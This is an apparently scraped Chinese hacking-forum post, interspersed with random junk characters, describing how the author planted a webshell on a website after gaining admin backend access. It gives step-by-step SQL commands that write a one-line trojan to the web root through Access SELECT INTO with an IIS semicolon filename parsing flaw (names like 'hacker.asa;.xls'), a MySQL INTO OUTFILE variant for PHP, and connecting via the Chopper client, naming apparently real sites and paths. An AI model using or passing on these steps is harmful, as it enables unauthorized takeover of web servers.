好不容易进了后台,发现啥上传啊。备份啊多木有。9 I( X. p1 L& Y9 C
webshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的
$ @# |/ g4 e" H文件。可后台没显示这功能。直接填上文件名字,执行命令的选项出来了,) D0 {4 @1 W- K, H' @6 S: c
然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下:5 D4 S5 o$ {) [! t
1.create table cmd (a varchar(50))
* o( k- ^: X) C7 J7 @% s2.insert into cmd (a) values (‘‘)
+ P Y' B7 N0 l" K \3.select * into [a] in ‘D:\wwwroot\www.koohik.com\hacker.asa;.xls’ ‘excel 4.0;’ from cmd. |+ [) x$ d1 Y* k- t5 v& T9 Z
(把表cmd的内容导出为物理路径的一个EXCEL文件)
\6 S( a+ o* l% V" w% X" c s& u4.drop table cmd) K" u" l9 g+ R2 z
利用IIS的BUG成功拿到了WEBSHELL。
, K! X+ E# D6 D. s* p) U' O$ A# g6 ?. @2 t, j, v/ p
直接菜刀里连接http://www.chouwazi.com/data/xiao.asp;xiao.xls一句话0 W4 \3 d6 l9 ]: l1 a, A
- k, \7 C8 C+ I/ M4 \9 X4 k- Y: j
SQL语句意思解释:9 U5 U; t! c- @% H
第一句
Y& Z6 `. c4 [+ v$ ?( n+ A1 v 建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
D8 j) q7 t3 w" d% D+ v/ W8 L9 q( _0 l. S
第二句% n+ o5 g: @: x4 f `3 L; X: M
在表cmd的a字段插入一句话木马
+ }" i, G* ^# K$ Y) }$ ~2 L% I 第三句5 ]1 N" h! R* x7 C8 K5 a
把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件
% k: |! N% ~/ ?3 ~) ] p" }9 E5 C2 t# @2 g' Y
第四句
* g$ A1 n+ [+ G 删除建立的cmd表# O7 y) f; d5 _
\/ N" p6 Q' p- P4 S
以下内容为测试:
6 j: ?4 X) L* C$ [% d Access利用后台SQL执行命令功能导出WebShell:
5 B8 T5 q N) I( `/ c1 M- `4 N 这个更简单:- E# [& P' N# r; I. A; k4 K
[ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]5 `6 `, L7 l, f- }. P
或者. o `4 E2 ?& }) M; N: y) }
[ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]3 H$ ~. V8 w) v
8 i5 c8 k. F# u/ \: [1 F. S 后台有执行SQL语句功能(vote为已知表段)
: Y: G- V6 G3 n+ Q 希望对大家有所帮助拿shell的又一个思路1 W# t8 C4 B/ m! c
|